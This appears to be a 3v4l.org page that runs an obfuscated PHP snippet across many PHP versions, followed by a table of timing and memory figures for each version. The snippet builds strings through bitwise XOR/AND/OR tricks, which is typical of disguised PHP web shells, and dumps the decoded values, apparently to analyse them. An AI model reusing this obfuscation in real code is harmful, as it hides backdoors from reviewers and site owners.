3v4l.org

run code in 300+ PHP versions simultaneously
<?php $DHP='Ml0'^WFAVnH;$IK9wN='K]4'^'&)C';$WLd9UUD='j]T'&HVU;$YmYiRK='@'|P;$fF=E|Z;'R9I_'. 'vYm';$mXZ=C&q;$CEivtRVwy='og='&'of}';$vXpNod06p='~${rV^VHs[}'.MThn8.':{'./*T3'. '>sfD$vCdn<*/JJ_z_9YN.'{}cjy='&'~m?3'.dO_h.'['.U_KSo.'{:'.svKNWy_.#jeX4cc1hA2E'. '}rn{YQ[Zv';$QFi9xNfC_dz='Y~_^w;4/wwo/;]s^Wo?~;]m_b}'.imrz.'{X'&hA_Wu.#OkRXpwS'. '+v.o?'.omw_W.'^'.SKoy3Nn_u.'|_l/~oU';$PEY='1~5<t~o1}~}7s??6p>w{+?7k}vq7='&'3?'. '-<tf/e}m?9??}'.npvvr.'~{~}=w%w}';$L2Xo26Xdq=$IK9wN&$CEivtRVwy;$JJYL=(#KzwPDJg'. '$NN@B4'|'$'.JFQT3)^("C+*\$8@"|'@":08A');$pTXBhIgWS=$vXpNod06p^$QFi9xNfC_dz;/*'. ',<8NA*/$baq=('y{{n+?tu-s}vw|~~?e??|o{-|>hyz'&'}'.jumo.'~rtm;yue~}woo{'./*ngcG'. ']By{[g&9xZ*/szorb.'}z|{{')^$PEY;if($L2Xo26Xdq($JJYL($WLd9UUD.$YmYiRK.$fF./*dR'. '*$ew{wx6z*/$mXZ))==$pTXBhIgWS) {} var_dump($pTXBhIgWS); var_dump($JJYL); var_dump($baq); var_dump(get_defined_variables());

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.63
8.3.50.0150.00422.11
8.3.40.0140.00018.79
8.3.30.0030.01019.04
8.3.20.0040.00420.21
8.3.10.0040.00423.51
8.3.00.0070.00717.93
8.2.180.0160.00316.63
8.2.170.0070.01022.96
8.2.160.0070.00720.39
8.2.150.0040.00424.18
8.2.140.0060.00324.66
8.2.130.0040.00426.16
8.2.120.0080.00820.90
8.2.110.0070.00319.33
8.2.100.0110.00319.64
8.2.90.0040.00419.27
8.2.80.0040.00417.97
8.2.70.0040.00417.63
8.2.60.0000.00817.93
8.2.50.0000.00818.10
8.2.40.0060.00318.16
8.2.30.0110.00018.15
8.2.20.0000.00717.84
8.2.10.0000.00817.96
8.2.00.0040.00417.59
8.1.280.0150.00625.92
8.1.270.0040.00423.77
8.1.260.0070.00026.35
8.1.250.0040.00428.09
8.1.240.0030.00723.92
8.1.230.0080.00417.77
8.1.220.0040.00417.78
8.1.210.0040.00418.77
8.1.200.0000.00917.36
8.1.190.0040.00417.23
8.1.180.0000.00818.10
8.1.170.0040.00418.61
8.1.160.0040.00422.07
8.1.150.0040.00418.84
8.1.140.0030.00617.48
8.1.130.0030.00317.75
8.1.120.0000.00717.44
8.1.110.0050.00217.35
8.1.100.0020.00517.32
8.1.90.0050.00317.43
8.1.80.0030.00517.32
8.1.70.0070.00017.39
8.1.60.0030.00617.56
8.1.50.0000.00917.38
8.1.40.0040.00417.45
8.1.30.0030.00517.60
8.1.20.0080.00017.59
8.1.10.0050.00217.50
8.1.00.0000.00817.48
8.0.300.0000.00718.77
8.0.290.0040.00416.75
8.0.280.0000.00818.47
8.0.270.0030.00317.37
8.0.260.0030.00317.28
8.0.250.0030.00317.09
8.0.240.0000.00717.03
8.0.230.0030.00316.99
8.0.220.0000.00716.93
8.0.210.0000.00716.89
8.0.200.0000.00717.03
8.0.190.0000.00816.96
8.0.180.0020.00516.89
8.0.170.0000.00716.96
8.0.160.0050.00316.98
8.0.150.0050.00316.92
8.0.140.0000.00816.91
8.0.130.0060.00013.37
8.0.120.0040.00416.98
8.0.110.0000.00716.95
8.0.100.0040.00416.96
8.0.90.0020.00517.09
8.0.80.0120.01316.98
8.0.70.0040.00416.87
8.0.60.0050.00216.76
8.0.50.0000.00716.87
8.0.30.0150.00717.17
8.0.20.0070.01217.40
8.0.10.0040.00417.01
8.0.00.0080.01216.78
7.4.330.0020.00215.09
7.4.320.0030.00316.61
7.4.300.0060.00016.47
7.4.290.0070.00016.44
7.4.280.0000.00816.65
7.4.270.0070.00016.63
7.4.260.0070.00016.45
7.4.250.0040.00416.56
7.4.240.0060.00116.61
7.4.230.0040.00416.38
7.4.220.0070.01016.67
7.4.210.0110.00416.58
7.4.200.0000.00716.62
7.4.160.0070.01116.59
7.4.150.0000.01817.40
7.4.140.0090.00917.86
7.4.130.0040.01416.50
7.4.120.0090.01316.68
7.4.110.0090.01216.53
7.4.100.0070.01116.40
7.4.90.0150.00616.45
7.4.80.0140.00619.39
7.4.70.0090.01316.71
7.4.60.0100.00716.59
7.4.50.0080.00016.36
7.4.40.0070.01516.51
7.4.30.0030.01316.54
7.4.00.0070.01014.88
7.3.330.0000.00713.17
7.3.320.0000.00513.30
7.3.310.0040.00416.52
7.3.300.0030.00316.37
7.3.290.0070.00716.41
7.3.280.0130.00616.38
7.3.270.0030.01517.40
7.3.260.0100.00916.60
7.3.250.0140.00716.55
7.3.240.0160.01016.52
7.3.230.0150.00416.39
7.3.210.0040.01316.39
7.3.200.0090.00916.27
7.3.190.0050.01416.62
7.3.180.0000.01616.34
7.3.170.0070.01016.61
7.3.160.0090.01516.42
7.3.120.0000.01614.95
7.2.330.0120.00616.74
7.2.320.0150.00816.70
7.2.310.0160.00716.67
7.2.300.0060.01216.48
7.2.290.0160.00316.89
7.2.60.0040.01216.96
7.2.00.0060.00619.45
7.1.200.0030.00415.95
7.1.100.0040.00717.88
7.1.70.0050.00217.02
7.1.60.0100.01019.70
7.1.50.0100.01316.96
7.1.00.0070.07322.40
7.0.200.0000.00716.95
7.0.140.0030.07321.99
7.0.100.0200.06019.91
7.0.90.0130.07319.87
7.0.80.0130.07719.84
7.0.70.0070.07020.01
7.0.60.0200.07019.95
7.0.50.0400.07320.29
7.0.40.0230.06720.09
7.0.30.0130.08019.95
7.0.20.0130.07319.94
7.0.10.0030.09020.07
7.0.00.0170.04720.13
5.6.280.0070.07321.04
5.6.250.0100.05720.55
5.6.240.0130.04020.54
5.6.230.0030.09020.61
5.6.220.0030.08020.59
5.6.210.0100.07720.63
5.6.200.0100.08320.89
5.6.190.0170.08020.99
5.6.180.0030.05321.00
5.6.170.0070.08021.02
5.6.160.0100.07021.14
5.6.150.0130.04721.10
5.6.140.0100.05020.98
5.6.130.0030.08720.99
5.6.120.0170.05321.13
5.6.110.0070.04721.04
5.6.100.0070.06721.07
5.6.90.0070.09721.05
5.6.80.0070.06020.52
5.6.70.0070.07720.41
5.6.60.0000.08720.41
5.6.50.0130.07320.41
5.6.40.0030.04020.26
5.6.30.0070.04020.33
5.6.20.0070.03720.40
5.6.10.0030.05020.34
5.6.00.0000.04320.37
5.5.380.0030.08720.42
5.5.370.0100.07720.51
5.5.360.0130.07720.28
5.5.350.0070.08020.34
5.5.340.0100.08320.82
5.5.330.0170.04320.89
5.5.320.0230.06320.86
5.5.310.0130.08020.79
5.5.300.0030.08720.86
5.5.290.0130.07720.76
5.5.280.0030.08720.69
5.5.270.0170.08020.75
5.5.260.0070.05020.72
5.5.250.0170.07320.68
5.5.240.0100.05720.21
5.5.230.0070.07320.20
5.5.220.0070.04720.26
5.5.210.0130.07720.23
5.5.200.0100.06020.18
5.5.190.0100.03720.23
5.5.180.0170.03720.20
5.5.160.0100.04020.19
5.5.150.0030.04020.24
5.5.140.0030.03720.18
5.5.130.0000.04320.18
5.5.120.0070.03720.24
5.5.110.0030.08319.96
5.5.100.0070.05720.12
5.5.90.0030.04019.95
5.5.80.0070.03020.09
5.5.70.0030.04019.91
5.5.60.0000.05020.03
5.5.50.0070.04019.93
5.5.40.0030.04020.04
5.5.30.0100.03320.07
5.5.20.0100.03719.89
5.5.10.0070.03720.03
5.5.00.0030.04719.98
5.4.450.0030.07019.36
5.4.440.0070.07719.11
5.4.430.0130.07019.29
5.4.420.0130.05319.34
5.4.410.0030.08019.04
5.4.400.0130.07019.05
5.4.390.0030.07019.12
5.4.380.0130.08319.06
5.4.370.0000.04319.02
5.4.360.0000.06319.04
5.4.350.0100.03319.10
5.4.340.0070.03719.06
5.4.320.0030.04018.98
5.4.310.0030.04019.05
5.4.300.0000.04019.05
5.4.290.0030.03319.02
5.4.280.0030.04019.22
5.4.270.0000.04019.03
5.4.260.0030.04019.00
5.4.250.0000.04018.97
5.4.240.0030.03719.11
5.4.230.0000.04318.97
5.4.220.0000.04319.14
5.4.210.0030.03718.97
5.4.200.0000.05019.19
5.4.190.0000.04718.89
5.4.180.0030.04318.97
5.4.170.0030.03719.03
5.4.160.0000.04018.88
5.4.150.0000.04318.99
5.4.140.0070.03716.32
5.4.130.0000.04016.20
5.4.120.0030.03316.21
5.4.110.0000.04016.33
5.4.100.0000.04016.45
5.4.90.0030.03716.24
5.4.80.0030.03316.32
5.4.70.0030.03716.19
5.4.60.0030.04016.30
5.4.50.0070.02716.35
5.4.40.0030.03316.24
5.4.30.0030.03716.23
5.4.20.0070.02316.34
5.4.10.0130.02716.23
5.4.00.0030.03015.51
5.3.290.0000.04314.64
5.3.280.0030.03714.43
5.3.270.0030.03714.48
5.3.260.0000.03714.48
5.3.250.0100.03014.44
5.3.240.0030.03714.61
5.3.230.0100.03314.52
5.3.220.0030.03314.57
5.3.210.0000.04714.57
5.3.200.0000.04014.59
5.3.190.0200.02014.57
5.3.180.0070.03714.54
5.3.170.0000.04014.54
5.3.160.0030.03314.40
5.3.150.0000.03714.43
5.3.140.0000.04014.56
5.3.130.0030.03014.57
5.3.120.0000.04014.57
5.3.110.0000.04014.50
5.3.100.0000.05314.00
5.3.90.0000.04313.99
5.3.80.0100.03014.03
5.3.70.0000.03313.89
5.3.60.0070.03313.88
5.3.50.0070.04013.92
5.3.40.0170.08013.94
5.3.30.0100.05713.69
5.3.20.0030.05313.65
5.3.10.0030.05713.59
5.3.00.0070.06013.66
5.2.170.0000.03311.11
5.2.160.0070.05311.20
5.2.150.0130.04011.11
5.2.140.0030.06011.11
5.2.130.0030.03710.96
5.2.120.0070.04311.07
5.2.110.0070.03311.08
5.2.100.0070.06011.06
5.2.90.0030.05310.94
5.2.80.0030.06311.18
5.2.70.0030.06310.93
5.2.60.0000.06710.94
5.2.50.0130.05310.83
5.2.40.0000.07011.01
5.2.30.0070.06011.00
5.2.20.0000.06310.82
5.2.10.0030.05710.73
5.2.00.0030.04710.80
5.1.60.0000.0539.84
5.1.50.0030.05010.05
5.1.40.0130.04310.04
5.1.30.0000.05310.42
5.1.20.0000.06310.41
5.1.10.0100.05010.11
5.1.00.0070.04710.08
5.0.50.0000.0478.69
5.0.40.0070.0438.69
5.0.30.0000.0638.69
5.0.20.0030.0408.69
5.0.10.0100.0408.69
5.0.00.0030.0678.69
4.4.90.0000.0238.69
4.4.80.0030.0238.69
4.4.70.0100.0278.69
4.4.60.0030.0378.69
4.4.50.0070.0208.69
4.4.40.0030.0508.69
4.4.30.0000.0308.69
4.4.20.0000.0378.69
4.4.10.0000.0408.69
4.4.00.0100.0478.69
4.3.110.0070.0278.69
4.3.100.0070.0308.69
4.3.90.0170.0238.69
4.3.80.0030.0508.69
4.3.70.0070.0278.69
4.3.60.0030.0308.69
4.3.50.0030.0308.69
4.3.40.0030.0508.69
4.3.30.0000.0378.69
4.3.20.0000.0378.69
4.3.10.0000.0238.69
4.3.00.0000.0208.69

preferences:
43.49 ms | 401 KiB | 5 Q